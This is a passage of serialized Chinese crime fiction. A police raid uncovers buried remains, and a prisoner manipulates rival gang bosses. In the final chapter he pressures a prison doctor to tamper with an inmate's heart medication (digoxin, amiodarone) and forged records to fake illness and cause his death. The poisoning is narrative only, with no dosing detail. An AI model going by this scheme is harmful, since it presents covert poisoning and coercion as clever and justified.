“西城旧仓库”。她下午调了城建档案,那一片废弃仓库是九十年代初建的,产权几经转手,现在挂在一个空壳公司名下。
而那个“右角冷库”,在规划图上看,位置最偏,结构也最奇怪,像是后来私自加盖的。
“涉命案。”
林燃用了这三个字。
秦墨吸了口夜晚冰凉的空气,压下心里那点说不清道不明的悸动。
她又想起会见室里那个穿着囚服、总是带伤、眼神却静得吓人的年轻人。
第一百零一章 突击
他到底还知道多少?他在监狱那个吃人不吐骨头的地方,是怎么挖出这种陈年旧案的线索的?
“秦队?”同事的声音把她拉回现实。
“按计划。”秦墨的声音恢复了平时的冷静,“一组堵前门,二组跟我从后面绕。行动尽量安静,抓现行。”
“是。”
虽然才刚毕业一年多,但已经是副中队长的秦墨,已经渐渐习惯了指挥的架势。
几条黑影从面包车里鱼贯而出,动作迅捷,几乎没发出任何声音。都是便衣,但腰间鼓鼓囊囊,别着家伙。
秦墨打头,贴着墙根阴影,往巷子更深处的岔路摸去。
运动鞋踩在潮湿的水泥地上,悄无声息。她脑子里却不受控制地闪过关于林燃的一些片段。
见鬼。她甩甩头,把那些杂念压下去。现在是抓捕,是办案,不是想这些的时候。
拐过两个弯,眼前豁然开朗——一片堆满建筑垃圾的空地,尽头立着一排低矮的砖房,其中一间的外墙上用红漆歪歪扭扭刷着“冷库”两个字,漆早就斑驳脱落,像干涸的血迹。
冷库的铁门关着,但门缝底下漏出一线昏黄的光。里面隐约传来金属刮擦水泥地的声音,很闷,很沉,一下,又一下。
挖东西。
秦墨打了个手势,身后两名队员立刻悄无声息地贴近铁门两侧,手里握着钢嘴钳。她自己则闪到门边一扇破损的窗户旁,借着玻璃上的污垢往里看。
冷库里面比想象中更破败。墙壁是裸露的水泥,挂着白霜,头顶一盏孤零零的灯泡,光线昏黄,勉强照亮一小片区域。
地上堆着些废弃的建材和破麻袋,中央一块地方的水泥地被撬开了,露出底下黑褐色的泥土。
三个人。
两个正轮着铁锹和镐头往下挖,干得满头大汗,嘴里呼出白气。
另一个站在旁边,是个光头,脖子上纹着青色的蛇头,手里拎着根钢管,正不耐烦地催促:“快点!天亮前必须弄干净!”
挖土的其中一个人抬起头,喘着粗气:“蛇哥,这……这都埋了多少年了,硬得跟石头似的,我们挖了两天了,才挖这么点,这浇的可是水泥……”
“少废话!”被叫蛇哥的光头用钢管杵了杵地面,“佛爷交代了,今晚必须把东西起出来,拉走处理掉。多一分钟就多一分风险,懂不懂?”
佛爷。
秦墨眼神一凛。果然和笑面佛有关。
她目光落在那片被挖开的泥土上。坑已经有两米多深,边缘散落着一些灰白色的碎块,不像石头,倒像是……
她心里猛地一沉。
是骨头。
人类的骨骼碎片,被泥土和岁月侵蚀成了那种灰败的颜色,混杂在黑色的土里,如果不仔细看,根本分辨不出来。
两条人命。
林燃说的“涉命案”,是真的。而且看样子,被害人就被埋在这冷库底下,不知道多少年了。
秦墨感觉后颈的汗毛竖了起来。
本来这个线索她并没有抱希望,只是出于对林燃的信任,才准备有枣没枣打一杆。
汇报后,刑大这边也是让她带一个小队探一探,没想到蹲守组反馈有发现异常,她才连夜赶来。
可居然真是命案!
怎么会这样!
一股强烈情绪上涌。
不是害怕,是一种更复杂的情绪——愤怒,还有一丝难以言喻的寒意。光天化日,不,是深更半夜,在这座城市的角落里,竟然藏着这样的罪恶。
她对着众人,声音压到最低,却带着不容置疑的力度:“确认目标,正在挖掘疑似人体遗骸。准备突入,抓活的。”
“是。”
守在门两侧的队员握紧了钢嘴钳。秦墨退后两步,举起右手,竖起三根手指。
三。
二。
一。
手势猛地压下。
“砰——!”
钢嘴钳猛地钳断门上的老式挂锁,铁门被一脚踹开,撞在墙上发出巨大的闷响。
“警察!不许动!”
几道强光手电的光柱瞬间刺破冷库内的昏暗,精准地打在三个惊愕抬头的人脸上。
挖土的两个人吓得手里的铁锹镐头“哐当”掉在地上。那个叫蛇哥的光头反应最快,嘴里骂了句脏话,抡起钢管就往离他最近的警察头上砸!
“小心!”秦墨厉喝。
那名队员侧身躲过,钢管擦着肩膀砸在水泥地上,溅起几点火星。几乎同时,另一名队员已经从侧面扑上去,一个干脆利落的擒拿,扭臂,顶膝,把光头狠狠按倒在地,钢管脱手滚出去老远。
另外两个人见状,转身就想往冷库深处跑。但里面是死路,只有堆到天花板的破麻袋和废木料。
“蹲下!手抱头!”
几声厉喝在空旷的冷库里回荡。两个挖土的腿一软,噗通跪在地上,哆嗦着举起双手。
前后不到十秒,控制现场。
秦墨走进去,强光手电的光束扫过那个土坑。坑底已经挖出了更多灰白色的骨骼碎片,还有几片尚未完全腐烂的深色织物,像是衣服。
她蹲下身,用手电仔细照着坑壁。泥土分层很明显,表层是近年堆积的灰尘杂物,往下是坚硬的夯土,再往下……
她的目光停在一处。
那里,混在泥土里的,有一小截金属反射着冷光。
她用戴着手套的手指,轻轻拨开浮土。
是一枚生锈的铜扣,上面模糊地刻着某种徽记。旁边,还有半块塑料牌子,边缘都烂了,但还能勉强认出上面的字:“……工……08”。
秦墨把它捡起来,对着光仔细看。
是工作证。残缺的部分,依稀能辨认出“安江市第二建筑公司”的字样,编号尾数是08。
第二建筑公司。西城这片地,当年就是二建承建的。
她站起身,走到那个被按在地上的光头面前。光头还在挣扎,嘴里不干不净地骂着。
秦墨把手里的半块工作证递到他眼前,声音冷得像冰:“认识这个吗?”
光头瞥了一眼,眼神里闪过一丝慌乱,但很快梗着脖子:“不认识!你们警察凭什么抓人?我们就是在这儿挖点废铁卖钱!”
“废铁?”秦墨用手电光指了指土坑里的骨骼碎片,“这是废铁?”
第一百零二章 突击体检
光头不吭声了,眼神躲闪。
“谁让你们来的?”秦墨问。
“没谁!我们自己来的!”
“可以,有办法让你们说!”
秦墨不再看他,转身对队员说:“全部带回去,分开审。通知法医和现场勘查的同事过来,封锁这里,一寸一寸地筛。”
“是!”
队员们利索地给三人上了背铐,押着往外走。光头被拽起来时,还扭头狠狠瞪了秦墨一眼,那眼神里除了凶狠,还有一丝难以置信——他们怎么会知道?这地方藏了这么久,怎么偏偏今晚……
秦墨没理会他的目光。她站在冷库中央,手电光缓缓扫过这片散发着霉味和死亡气息的空间。墙上的白霜在手电光下泛着惨淡的光,像一层薄薄的尸衣。
两条人命。被埋在这里,无声无息,直到今夜。
她想起林燃在信里那串冰冷的数字,想起他说“涉命案”时可能平静无波的脸。
这个人……到底在监狱里,织了一张多大的网?
对讲机里传来外面同事的声音:“秦队,巷口那辆金杯和两个放风的也控制住了。他们身上带着刀和一把自制火铳。”
“好。”秦墨应了一声,最后看了一眼那个土坑,转身走出冷库。
门外,深夜的风灌进巷子,带着深秋的寒意。
远处城市零星灯火在夜色中明灭,像沉睡巨兽惺忪的眼。
而禁闭室里的林燃,在绝对的黑暗中,仿佛感应到了什么,眼皮动了动。
他翻了个身,
棋,就落下去了。
…………
禁闭室的黑暗有一种重量。
不是那种轻飘飘的黑,是沉甸甸的、能压进骨头缝里的稠密。
林燃盘腿坐在墙角,背脊贴着冰冷的水泥墙。
呼吸放得很缓,一吸,数到七,停三秒,再缓缓吐出。已经第几天了?
他懒得数。
也数不清了,禁闭室的日子,数了反而难熬。
但身体有自己的记忆——胃里空荡感出现的次数,喉咙干渴的节奏,还有左脸颊伤处从刺痛转为钝痛再转为隐隐发痒的过程,都在无声地标记着时间的流逝。
大概第四天,或者第五天。
外头应该已经天翻地覆了。
秦墨收到那串“彩票号码”了吗?西城冷库的土挖开了吗?那两具埋了不知多少年的尸骨重见天日时,笑面佛脸上会是什么表情?
还有赵大金。
那家伙肯定也收到风了。北佬帮在监狱内外都有眼睛,冷库出事的消息瞒不过多久。他会怎么想?愤怒于好不容易抓到的把柄竟然捅到了警方那里?
林燃在黑暗里扯了扯嘴角。
猜疑是种子,撒下去就会自己生根发芽。笑面佛和赵大金之间那点脆弱的平衡,现在该裂出缝了。
而他,被关在这密不透风的铁棺材里,是最完美的“局外人”。
门上的小窗突然被拉开。
一道昏黄的光柱斜切进来,在地面投出个歪斜的方形。
然后是钥匙插进锁孔的声音,金属摩擦,钝响。
门开了。
不是送饭的管教——时间不对,而且脚步不止一个人。
林燃睁开眼,适应了一下突然涌入的光线。
门口站着三个人,两个狱警,中间夹着个穿白大褂的。是医务室的人,但不是苏念晚,是个面生的中年男医生,戴着副黑框眼镜,镜片后的眼睛没什么情绪。
“林燃,起来。”一个狱警说,声音公事公办,“体检。”
体检?
禁闭期间突击体检不是没有先例,但通常只针对那些关出问题、出现自残或精神异常迹象的犯人。
他这几天安安静静的坐着,连墙都没刮过。
林燃慢慢起身,腿有些麻,扶着墙站稳。
中年医生走进来,手里拎着个简陋的出诊箱。
他示意林燃走到光柱下,打开箱子,拿出血压计、听诊器,还有个小手电。
“张嘴。”医生说。
林燃张开嘴。手电光在口腔里扫了一圈,照过牙龈、喉咙。医生的动作很专业,但眼神一直垂着,不跟他对视。
“舌头。”医生又说。
林燃伸出舌头。医生用压舌板轻轻压了压,看了看舌苔,又示意他合上嘴。
血压计绑上手臂,气囊充气,勒紧。听诊器的金属头贴上胸口,冰凉。
医生收起器械,在本子上记录了几笔,然后抬头,第一次正眼看林燃。
“有没有哪里不舒服?”他问,语气平淡。
“没有。”林燃说。
“头晕?胸闷?幻觉?”
“没有。”
医生点点头,合上本子:“身体机能正常,精神状态稳定。”这话像是说给狱警听的。
狱警点了点头,就低头凑近来。
号称是体检。
两个狱警却详细进来搜了一遍,明明一眼就能扫遍小小禁闭室里每一个角落。
他们居然还屈尊一点点用手去抠找。
连墙角那点霉斑都不放过。
还让林燃站起来搜了个身。
自然是一无所获。
狱警中个子较高的那个皱了皱眉:“……都查了?”
“查了。”中年医生收拾箱子,“一切正常。”
高个狱警又转向林燃:“你这几天和谁说话没有?说了什么?”
这话问的林燃都想笑,他一撇嘴:“这里我能和谁说话?噢对,之前你们李监也过来检查了一次,问了我几句情况,要不要问他?”
李监自然不能怀疑。
高个狱警还想说什么,被同伴拉了一把。两人交换了个眼神,没再追问。
“行了,回去坐着吧。”矮个狱警对林燃挥挥手,语气里带着点不耐烦。
医生提着箱子先出去,两个狱警紧随其后。门重新关上,锁舌咬合,“咔嗒”一声,世界再次沉入黑暗。
但有什么东西不一样了。
林燃站在原地,没立刻坐回去。
体检是幌子。
笑面佛在试探,想确认他在这密不透风的禁闭室里,是不是还能与外界联系。
而能让笑面佛这么紧张的,肯定是外面出大事了。
也就是冷库那事,秦墨她们得手了?
而且看来已经传到监狱里了。
林燃闭上眼,继续调整呼吸。心里那根弦却绷得更紧了些。笑面佛急了,急到连这种粗糙的试探都用上了。
这反倒是好事——对手越急,破绽就越多。
七天禁闭,还差两三天。
等门再开时,外面的世界恐怕已经换了一副面孔。
第一百零三章 大排查
禁闭室的铁门是在第七天清晨打开的。
与其说是“清晨”,不如说是走廊灯亮起的时刻——在绝对黑暗里待久了,人对光线的感知会变得异常敏锐。
只是走廊上的应急灯,就刺得林燃下意识闭了眼。
“出来。”
狱警的声音平板无波,像是叫醒一具尸体。
林燃撑着墙站起来,膝盖发出轻微的“咯”声。
七天,除了每天两顿从门缝塞进来的冷馒头和咸菜,他几乎没有移动过。
腿脚有些发软,但还不至于站不稳。
他眯着眼适应光线,慢慢挪到门口。
走廊里那股熟悉的混合气味扑面而来——消毒水、汗臭、霉味,还有食堂飘过来的、永远带着股馊味的粥香。
这些味道在禁闭室里是闻不到的,此刻重新涌进鼻腔,竟有种诡异的“活着”的实感。
“走。”狱警不耐烦地催促。
林燃跟在他后面。
从禁闭区回三监区的路要穿过两道铁门。
路上遇见几个其他监区的犯人,正被押着去上工。他们瞥见林燃,眼神里闪过各种东西——好奇、忌惮、幸灾乐祸,还有一丝不易察觉的、对“刚从黑屋子出来的人”的本能疏远。
林燃没看他们。
他脑子里在算时间。
七天,按秦墨的效率,冷库那边该有结果了。
但结果是什么?挖到了尸体?抓到了人?还是……遇到了阻力?
他不知道。
这正是计划里最悬的部分——他把线索抛出去,却无法控制它落地的姿态。
…………
回到312监舍时,早饭刚结束。
铁门拉开的声音让里面四个人齐刷刷抬头。周晓阳手里的碗差点掉地上,他“腾”地站起来。
“燃哥!”
刀疤辉也站了起来。
牛哥和麻杆也跟着起身。
林燃走进来,反手带上门。
监舍里那股熟悉的、混杂着汗味和便池氨水味的气息包裹上来。
他走到自己头板位置,铺盖卷上落了薄薄一层灰。
“没事吧?”周晓阳凑过来,声音压得低,但压不住那股关切。
“没事。”林燃坐下,拍了拍床板上的灰,“这几天怎么样?”
“还……还行。”
周晓阳说。
“就是笑面佛那边,白癜风被你开了瓢,缝了七针,这几天没出来。佛爷也没动静,但……”
他顿了顿,看了眼门口,声音更低了:“但昨天放风,北佬帮那个小浙江,特意凑过来问我,说‘你们燃哥什么时候出来’。语气怪怪的。”
刀疤辉也凑过来,声音沙哑:“码头帮那边也安静得反常。大眼仔这几天都没在放风场露面,听说……外面出了点事。”
林燃抬眼:“什么事?”
“不清楚。”刀疤辉摇头,“但管教们昨天交班时嘀咕,说西城那边夜里来了好多警察,封了一条街。早上送菜的老王头进来,也说看见警车闪着灯往那边去。”
西城。
林燃心里那根弦轻轻拨动了一下。
但他脸上没什么变化,只是点点头:“知道了。”
早饭时间已经过了,监舍里暂时没什么事。林燃躺回床上,闭着眼,脑子里却在梳理信息。
秦墨动手了。而且动静不小,连监狱这种消息相对闭塞的地方都有了风声。
接下来,就是等。
等消息发酵,等各方反应,等那条被他扔进池塘的鱼,会搅起多大的浪。
…………
下午放风,林燃跟着队伍走进操场。
七天没见天日,乍一接触外面过于充沛的阳光,眼睛有些发涩。他眯着眼,扫视全场。
东北角,笑面佛果然在。
但和七天前相比,那场面冷清了不少。
白癜风不在,平时总围在身边的几个骨干也少了两三个。陈有仁本人蹲在老位置,手里拿着根树枝,却无心在地上划拉,只是捏着,眼神空茫茫地望着铁丝网外的天空。
他脸上那副惯有的、似笑非笑的表情不见了,取而代之的是一种紧绷的、僵硬的平静。但林燃看得清楚——那平静底下,有东西在翻滚。
是焦虑。
西南角,码头帮的人聚着。大眼仔今天露面了,正和几个手下说话,但话不多,时不时往笑面佛那边瞥一眼,眉头皱着。
最让林燃在意的是北佬帮。
赵大金没在往常那个位置。小浙江独自站在放风区边缘,背靠着铁丝网,面朝场内,目光像扫描仪一样,一寸一寸扫过每一个走动的犯人。
当那目光落到林燃身上时,停住了。
小浙江没动,只是看着他。距离太远,看不清表情,但那种审视的、带着研判意味的注视,隔着几十米都能感觉到重量。
林燃没回避,也看回去。
两人对视了大概五秒。然后小浙江移开目光,转身,走进了身后那排监舍楼的阴影里。
有意思。
林燃走到平时靠墙的角落,坐下。周晓阳和刀疤辉一左一右跟过来,像两扇活动的盾牌。
“燃哥,”周晓阳低声说,“刚才那人那眼神……”
“看到了。”林燃说。
“他是不是有事……”
“不理他。”
林燃从地上捡了颗小石子,在指尖捻着。石子粗糙,硌手,但有种实在的触感。
他现在需要的就是被怀疑——但又不能被抓住把柄。
怀疑会让人试探,试探就会露出破绽。而他要做的,就是在那些破绽里,找到下一步的落脚点。
放风进行到一半时,管教吹哨,通知各监舍派两个人去阅览室搬新到的报纸杂志。
312照例是林燃和周晓阳去。
阅览室还是老样子,霉味混着旧纸张的气息。老赵头坐在那张掉漆的办公桌后,老花镜滑到鼻尖,正对着一本泛黄的登记册打瞌睡。
听见动静,他抬了抬眼皮,见是林燃,没什么表示,只是指了指墙角那堆捆扎好的报纸:“那边,自己搬。”
林燃走过去,蹲下解绳子。
报纸是最近三天的《安江日报》和《法治周刊》,捆得很紧,麻绳勒进纸里,留下深痕。他一边解,一边快速扫过最上面那份的头版。
没什么特别。市政会议,领导视察,经济数据。
但翻到第二版时,他手指顿了顿。
第一百零四章 告密
右下角,一块豆腐干大小的报道,标题是《西城区开展安全生产专项整治,排查隐患十余处》。内容很官方,无非是“领导重视”“部门联动”“取得阶段性成果”之类的套话。
但在报道最后一段,有一句不起眼的话:“专项行动中,相关部门对一批废弃仓库、厂房进行了重点排查,及时消除了潜在风险。”
废弃仓库。
林燃把那份报纸抽出来,叠好,塞进怀里。
动作很自然,像是整理时不小心多拿了一份。
老赵头还在打瞌睡,没看见。
搬报纸回监舍的路上,周晓阳小声问:“燃哥,有情况?”
“回去说。”林燃抱着报纸,步子稳当。
他心里清楚,秦墨那边肯定有进展,但报道只能写到这个程度——命案,尤其是可能涉及黑恶势力的陈年命案,在结案前不会公开细节。
但“排查废弃仓库”这个说法,已经是一种信号。
一种只有知情人才听得懂的信号。
…………
晚饭后,监舍里短暂地安静下来。
林燃靠墙坐着,借着走廊从门上方小窗漏进来的光,展开那份报纸,又看了一遍那篇报道。
字很少,信息量却很大。
“重点排查”“潜在风险”——这说明警方确实去了冷库,而且发现了东西。但没提抓人,没提具体发现了什么,说明案件还在侦查阶段,或者……遇到了阻力。
正想着,铁门上的小窗被敲响。
很轻,三下。
林燃抬起头。周晓阳和刀疤辉也警觉地坐直了身子。
小窗被推开一条缝,一只手伸进来,丢进来个东西。
是个纸团,揉得皱巴巴,落在地上滚了两圈,停在林燃脚边。
那只手迅速缩了回去,小窗合上。走廊里响起远去的、轻而快的脚步声。
林燃捡起纸团,展开。
纸上只有一行铅笔字,写得潦草,像在匆忙中划拉出来的:
“虎爷要见你。现在。老地方。”
没署名,但字迹是小浙江的。
林燃把纸团重新揉皱,塞进嘴里,慢慢嚼碎,咽了下去。纸张混着铅灰的味道在喉咙里泛开,有点涩。
“燃哥?”周晓阳担忧地看着他。
“没事。”林燃站起身,“我出去一趟。”
“现在?都快熄灯了……”
“正好。”林燃走到门边,抬手敲了敲铁门。
值班的狱警很快过来,是个面生的年轻人,脸上带着刚上岗不久的拘谨:“什么事?”
“报告管教,”林燃声音平稳,“我肚子疼,想去医务室看看。”
狱警皱皱眉,看了眼挂钟:“快熄灯了,明天再去。”
“疼得厉害,可能是急性肠炎。”林燃捂着肚子,脸上适时露出点痛苦的表情——这在禁闭室里饿七天的人身上,再正常不过。
狱警犹豫了一下,最终还是开了门:“快点,我陪你去。”
“谢管教。”
林燃跟着狱警走出监舍楼,往医务室方向去。夜色已经浓了,监狱里的路灯稀稀拉拉亮着,在地上投出一圈圈昏黄的光晕。
走到监舍楼和医务室中间那段路时,林燃忽然停下脚步,弯腰,捂肚子的动作更用力了些。
“怎么了?”狱警回头。
“疼……走不动了。”林燃靠在墙上,额头上渗出细密的汗——是真的汗,憋气憋出来的。
狱警有点慌。他刚来不久,最怕犯人出事:“你、你等着,我去叫担架!”
“不用……”林燃喘着气,“医务室就在前面,我……我扶着墙慢慢走,您先去跟医生说一声……”
狱警看了眼不远处医务室的灯光,又看了眼脸色发白的林燃,一咬牙:“行,你慢慢走,我过去叫医生!”
说完,他转身小跑着往医务室去了。
林燃直起身,脸上那点痛苦瞬间消失。他转身,闪进旁边一条狭窄的、堆满废弃建材的岔路。
七天的禁闭没白待——他花了大量时间在脑子里复盘医疗监区的地形,包括那条通往放风区东角的维修通道。
夜里的监狱比白天安静得多,但也危险得多。巡逻的岗哨增加了,探照灯的光柱不时扫过高墙和空地。林燃贴着阴影走,脚步放得极轻,像猫踩过落叶。
绕过锅炉房,穿过一片长满荒草的空地,放风区东角那堆废器械在夜色里显出黑黢黢的轮廓。
赵大金已经在那儿了。
他这次没蹲着,也没靠在哪里,就直挺挺站在器械堆的阴影里,像根插在地上的标枪。月光从云缝里漏下来一点,照在他半边脸上,那道疤显得格外深,像皮肤裂开了一道口子。
小浙江站在他身后三步远的地方,眼神警惕地扫视着四周。
林燃走过去,在距离赵大金两米的地方停下。
“虎爷。”
赵大金没应声,只是盯着他看。那目光像两把冰锥,要扎进人骨头里。
过了大概十几秒,他才开口,声音沙哑得像砂纸磨过铁皮:
“冷库的事,你听说了?”
直截了当,连半点铺垫都没有,也没有铺垫的时间。
林燃心里那根弦绷紧了,但脸上没什么变化:“听说了点。外面警察去了西城,动静不小。”
“只是‘去了’?”赵大金往前踏了半步,压迫感扑面而来,“林燃,别跟我装傻。冷库里有什么,你比我清楚。”
“我不清楚。”林燃迎着他的目光,“榔头死前只说了‘人在右角的冷库’,别的什么都没说。那里面到底有什么,是虎爷您查出来的,不是我。”
这话半真半假,但咬死了“不知情”的立场。
赵大金眯起眼,像是在判断这话的真假。夜色里,他眼睛里有什么东西在闪,像是愤怒,又像是别的什么。
“警察昨天夜里去的,”他声音压得更低,每个字都像从牙缝里挤出来,“挖出了两具尸体,已经成骨头了。还抓了五个人,都是笑面佛手下的虾兵蟹将。”
林燃没说话。
“消息是今天下午传进来的,”赵大金继续说,“笑面佛那边炸了锅。他本来就在运作保外就医,现在这么一搞,别说出去,恐怕还得加刑——那两条人命,够他吃枪子了。”
他顿了顿,盯着林燃:
“现在的问题是,警察怎么知道的?”
第一百零五章 威胁
夜风吹过废器械堆,锈蚀的铁皮发出轻微的“咯吱”声,像什么东西在呻吟。
小浙江的手已经摸向了后腰——那里应该藏着家伙。
林燃站着没动,连呼吸都没乱。
“虎爷是怀疑我?”他问,语气甚至有点无辜。
“不该怀疑你吗?”赵大金冷笑。
“知道冷库的,除了笑面佛自己,就只有我,还有你。我没说,笑面佛更不可能自己捅自己一刀。那剩下的是谁?”
逻辑很清晰,几乎无懈可击。
林燃沉默了几秒,然后忽然笑了。
笑声很轻,在寂静的夜里显得格外清晰。
“虎爷,”他说,“您是不是忘了,我这七天在哪儿?”
赵大金愣了一下。
“禁闭室。”林燃自己接了下去,“铁门,黑屋子,除了送饭的管教,谁都见不到。我怎么往外递消息?托梦吗?”
他往前凑了半步,声音压得低,却字字清晰:
“再说了,虎爷,我要是真想卖消息,为什么卖给警察?我直接卖给笑面佛,不是更值钱?他知道我在查冷库,也知道榔头跟我说了话。我大可以用这个敲他一笔,何必绕这么大圈子,把自己弄进禁闭室,再让警察去抄他的底——对我有什么好处?”
一连串反问,像一梭子子弹,打在赵大金预设的逻辑链条上。
夜色里,赵大金的脸色变了变。
他在权衡。
林燃说的有道理——禁闭室是绝对隔绝,消息很难递出去。而且,如果林燃真想卖消息,确实有更直接、更有利可图的选择。
“那你觉得,”赵大金语气缓和了些,但眼神依旧锐利,“消息是怎么漏的?”
“我不知道。”林燃摇头,“但虎爷,您别忘了,当年有多少人?那些动手的、做事的工人、管事儿的,还有家属——谁知道有没有哪个知情的,这么多年憋不住了,或者缺钱了,偷偷去举报了?”
他顿了顿,补了一句:
“这种事情,世上没有不透风的墙。埋了那么久,该见天日的时候,怎么也捂不住。”
这话说得玄,却恰恰戳中了无数可能性中的必然性——陈年旧案,难免偶然曝光。
赵大金沉默了。
他背着手,在月光照不到的阴影里踱了两步。皮鞋踩在碎砖头上,发出细碎的“咔嚓”声。
“你说得对,”他终于开口,声音里那点咄咄逼人的劲头消了些,“可能是巧合。”
但他抬起眼,目光再次钉在林燃脸上:
“不过林燃,我丑话说在前头。这事儿如果最后查出来跟你有关系……”
他没说完,但意思明白。
“虎爷放心。”林燃说,“我这条命,还得留着出去。惹您不高兴的事,我不会做。”
赵大金盯着他看了最后几秒,然后摆摆手:“滚吧。”
林燃没多说,转身就走。
走出十几米,还能感觉到背后那道目光,像针一样扎在脊梁骨上。
他知道,赵大金没全信。
怀疑的种子一旦种下,就不会轻易消失。但现在,他至少争取到了时间——在赵大金找到确凿证据之前,他还有周旋的余地。
更重要的是,他从赵大金的话里确认了一件事:笑面佛急了。
急到要加速运作保外就医,急到要狗急跳墙。
而狗急跳墙的时候,最容易露出破绽。
…………
回到医务室附近,那个年轻的狱警正急得团团转,看见林燃从阴影里走出来,又惊又怒:“你跑哪儿去了!”
“实在疼得走不动,在那边蹲了会儿。”林燃捂着肚子,脸上重新挂上痛苦的表情。
狱警还想说什么,医务室的门开了,苏念晚披着白大褂站在门口,脸色在走廊灯光下显得格外苍白。
“进来吧。”她说,声音有点哑。
林燃跟着她走进医务室。
门关上,隔绝了外面的世界。消毒水的气味浓得呛人,但在这时候,却让人莫名安心。
苏念晚没开大灯,只亮了诊疗桌上那盏小台灯。昏黄的光圈拢住两人,把周围的药柜、器械架都推入模糊的阴影里。
“躺下。”她指了指诊疗床。
林燃躺上去,苏念晚伸手按了按他的腹部,动作很轻。
“不是肠炎。”她低声说,眼睛却没看他,而是盯着自己按在他肚子上的手,“你根本没病。”
林燃没否认。
一把握住她的手。
“你想……要?等我下……”
苏念晚收回手,她小心走到门边,把插销轻轻插上。
然后合拢门上探视窗的帘布。
接着,她面朝林燃,手指轻轻撵上领口的扣子,一颗、两颗。
春光一下爆开。
林燃看着眼前丽人,嘴角笑了笑。
“不错啊,里面还穿了这个……”
然后,迎了上去。
…………
一番辛苦大战后。
战场狼藉,两人收拾了一番。
这下精力耗尽,坐着靠在一起聊聊天。
苏念晚头轻轻依偎在他肩上。
“最近是不是有什么事?”
林燃用手拢开她刘海。
苏念晚叹了口气。
脸色有些古怪。
隔了小会,像是忍受不住。
突然起身,走到药柜前,背对着林燃。
白大褂的布料在昏暗光线下泛着冷淡的光泽,衬得她背影单薄得像张纸。
“刘长生今天来找我了。”她忽然说,声音压得很低,像怕被什么听见,“笑面佛逼他,必须在三天内把我的病历‘处理’好,把保外就医的申请递上去。如果办不成……”
她没说完,但肩膀微微发抖。
林燃坐起身:“他怎么逼?”
“还能怎么逼?”苏念晚转过身,眼眶通红,但没哭,只是咬着嘴唇,“拿我妈威胁。说如果办不成,就让我在医院待不下去——
到时断了我家唯一的收入,我倒无所谓,可是我妈你知道的,一个透析的病人,断了药,就是死路一条。”
她说到这里,终于忍不住,眼泪滚下来,但没出声,只是任由泪水在脸上淌。
“林燃,”她看着他,眼神里有绝望,也有一种孤注一掷的狠,“我该怎么办?”
林燃没立刻回答,他看着虚空。
第一百零六章 设计
医务室里那股消毒水味儿,混着刚才情事留下的、若有似无的暖腻气息,让空气变得有点沉。苏念晚背对着林燃,肩胛骨在薄薄的白大褂下微微耸着。
林燃看不过去,从诊疗床上下来,赤脚踩在冰凉的水泥地上。
他没急着过去,先弯腰捡起散落在地上的囚服,慢条斯理地套上。
“刘长生还说什么了?”他系着扣子,问得随意,眼睛却盯着苏念晚的背影。
苏念晚肩膀一颤,没回头,声音发闷:“他说病历必须改得‘像样’,要让上面一看就觉得这人随时会死在里面。保外就医的申请,三天内必须递上去。”
林燃系好最后一颗扣子,走过去,站到她身后。没碰她,只是看着药柜玻璃门上映出的、她模糊的侧脸。眼眶还是红的。
“病历在你手上?”他问。
“嗯。”苏念晚吸了吸鼻子,转过身,从白大褂口袋里掏出个皱巴巴的牛皮纸袋,没全递过来,只是捏在手里,“陈有仁的原始病历,还有我……我之前帮他改的那份。都在。”
林燃伸手。苏念晚犹豫了一瞬,还是把纸袋放到他手上。
纸袋很轻,里面就几张纸。林燃走到台灯光圈下,抽出来看。
第一份是原始病历,字迹潦草,诊断写着“先天性心脏病,室性早搏”,用药记录是地高辛、胺碘酮,剂量常规。
第二份就“精彩”了——同样的病历纸,字迹模仿得七八分像,但症状描述加重了好几档,“频发心悸伴晕厥史”、“近期出现阵发性室速”,用药剂量也调高了,旁边还伪造了两次“抢救记录”的备注。
“像样。”林燃评价了一句,听不出情绪。
苏念晚站在阴影里,手指绞着白大褂的衣角:“你想怎么做?”
林燃没立刻回答。他把两份病历并排放着,台灯的光晕把纸面照得微微发黄。
笑面佛想出去,想疯了。
他早就想保外就医,特别冷库的事像一把刀悬在他头顶,他不知道警方到底挖出了多少,更不知道下一个被挖出来的是不是自己。
保外就医,是他现在唯一能抓住的救命稻草——离开监狱,才有机会动用外面的关系周旋,甚至跑路。
可这根稻草,现在捏在林燃手里。
“他想要‘像样’的病历,”林燃抬眼,看向苏念晚,“那就给他一份‘像样’的。”
苏念晚瞳孔缩了缩:“你……什么意思?”
“药。”林燃说得很慢,像是在斟酌每个字,“他每周三上午来取药,地高辛,胺碘酮,还有备用的硝酸甘油。对吗?”
“对。”苏念晚点头,喉咙发紧,“你要我……在药上动手脚?”
“不是动手脚。”林燃纠正她,手指在病历纸上轻轻敲了敲,“是‘调整’。让他看起来病情更重,更符合这份伪造病历的描述——心悸发作更频繁,症状更明显。这样,保外就医的申请才显得‘合理’,上面批起来也快。”
他顿了顿,看着苏念晚的眼睛:“但‘调整’得有个度。要让他难受,让他觉得自己真的要不行了,但又不能真让他马上出事……至少,在申请批下来之前,他得活着。”
苏念晚听懂了。她脸色白了白:“你是说……控制剂量?让药物刚好卡在诱发症状的边缘?”
“我不懂医学。”林燃把病历纸递还给她,语气平淡,“那是你的事。你只要做到一点——让他按时吃药,按时‘犯病’,但别死。等他申请批了,准备出狱那天……我有办法,你相信我就是了。”
他没说完。但苏念晚明白了。
等笑面佛以为终于能逃出生天,最放松、最得意的那一刻,再给他最后一击。药物累积,或者一次“意外”的剂量差错,让他在走出监狱大门前,猝死。
狠。而且险。
苏念晚后背渗出冷汗。她看着林燃,这个比自己还小几岁的男人,脸上没什么表情,好像在说今晚吃什么一样平常。
“剂量……很难控制。”她声音发干,“地高辛的治疗窗很窄,稍多一点就容易中毒。胺碘酮也是,副作用一大堆。而且每个人体质不同,反应不一样。万一……”
“没有万一。”林燃打断她,声音不高,却带着不容置疑的力度,“苏念晚,这是你唯一的机会。笑面佛不死,你就得永远被他捏着脖子,你妈也得跟着提心吊胆。他那种人,就算出去了,会放过知道这么多事的你?”
他往前一步,台灯的光从他下巴往上打,让那张脸在昏暗里显出几分冷硬的轮廓。
“想想你妈。想想透析机一停,她还能撑几天。”
苏念晚闭上眼。眼泪又涌出来,顺着脸颊往下淌,凉冰冰的。她想起医院消毒水的气味,想起母亲瘦得脱形的手背,想起缴费单上那个永远填不满的数字。
没有退路了。
“……好。”她睁开眼,抹了把脸,声音哑得厉害,“我做。但我需要时间计算剂量,还要观察他的反应……不能急。”
“三天。”林燃给出期限,“三天后,刘长生来催你交病历。那时候,我要看到第一份‘调整’后的药,送到笑面佛手上。”
